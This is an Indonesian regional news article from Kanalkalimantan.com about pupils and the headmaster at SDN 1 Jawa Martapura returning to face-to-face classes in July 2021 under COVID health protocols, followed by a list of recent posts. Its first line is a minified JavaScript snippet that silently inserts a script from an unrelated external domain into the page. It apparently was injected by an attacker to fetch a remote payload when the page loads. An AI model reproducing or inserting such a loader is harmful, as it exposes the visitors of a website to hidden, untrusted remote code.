(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Melihat Proses Pembelajaran Tatap Muka di SDN Jawa 1 Martapura, Siswa Antusias Belajar!


KANALKALIMANTAN.COM, MARTAPURA – Surat Keputusan Bersama (SKB) 4 Menteri No 3 tahun 2021 yang diluncurkan oleh Kemendikbud tentang anjuran Pembelajaran Tatap Muka (PTM) jadi angin segar bagi banyak sekolah.

Bisa kembali belajar di ruang kelas adalah keinginan yang sudah lama diidamkan guru, siswa, bahkan orang tua murid. Tak terkecuali, para siswa di SDN 1 Jawa Martapura.

Sejak pagi-pagi, mereka terlihat bersemangat datang ke sekolah. M Yusri Gazali, Kepala Sekolah SDN 1 Jawa Martapura juga mengungkapkan kesenangannya terkait pelaksanaan pembelajaran tatap muka yang sudah dilaksanakan sejak Senin (12/7/2021) lalu.

Baca juga: RESMI. Layanan Uji KIR di Banjarbaru Buka Sabtu-Minggu

 

“Alhamdulillah berjalan lancar, saya sangat sedih jika belajar harus belajar online lagi. Karena banyak siswa yang menurun kualitas belajarnya, bahkan beberapa anak memutuskan berhenti sekolah. Kasus yang sering dikatakan kepada kami adalah terbatasnya dana orang tua untuk memfasilitasi seperti biaya kuota internet dan membelikan gadget yang bagus,” ujarnya ditemui Kanalkalimantan.com, Sabtu (17/7/2021).

M Yusri Gazali, Kepala Sekolah SDN 1 Jawa Martapura

“Kalau di sini, kami belajarnya sampai jam 12 siang, dimulai dari jam 08.00 Wita. Itu dua shift, pukul 08.00 sampai 10.00 Wita itu shift pertama, terus lanjut sampai pukul 12.00 Wita shift kedua. Sedangkan shift hari diberlakukan untuk pembagian kelas. Hari ini untuk kelas 4, 5, dan 6. Kemudian lusa, hari Senin itu kelas 1, 2, dan 3 lagi,” jelas Yusri.

Terkait protokol kesehatan, sekolahnya cukup patuh untuk melaksanakannya.

Baca juga: Stok Terbatas, Banjarbaru Target 75% Warga Tervaksin pada September  

“Semua siswa selalu kami awasi untuk memakai masker, cuci tangan, dan jaga jarak. Jarak per meja siswa satu dengan yang lain jaraknya 1,5 meter. Sesuai dari instruksi Dinas Pendidikan Kab Banjar kami tidak memperbolehkan kantin buka, tidak ada kegiatan praktek. Kalo pun ada, paling tugasnya membuat video di rumah seperti pelajaran olahraga dan agama yang akan dikumpulkan di sekolah.”

“Persiapan kami saat dapat surat edaran itu langsung mendaftar ke Kemendikbud, terus mempersiapkan fasilitas di sekolah agar memenuhi protokol kesehatan seperti membangun wastafel di depan kelas dan lorong-lorong sekolah, menyiapkan kurikulum dan materi-materi yang akan diajarkan, sisanya ya paling menyusun formasi duduk siswa saja,” kata Yusri.

“Saya terus berdoa semoga keadaan bisa kembali normal, agar situasi belajar anak kondusif seperti sedia kala,” harapnya. (Kanalkalimantan.com/nurul)

Reporter: nurul
Editor: cell


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.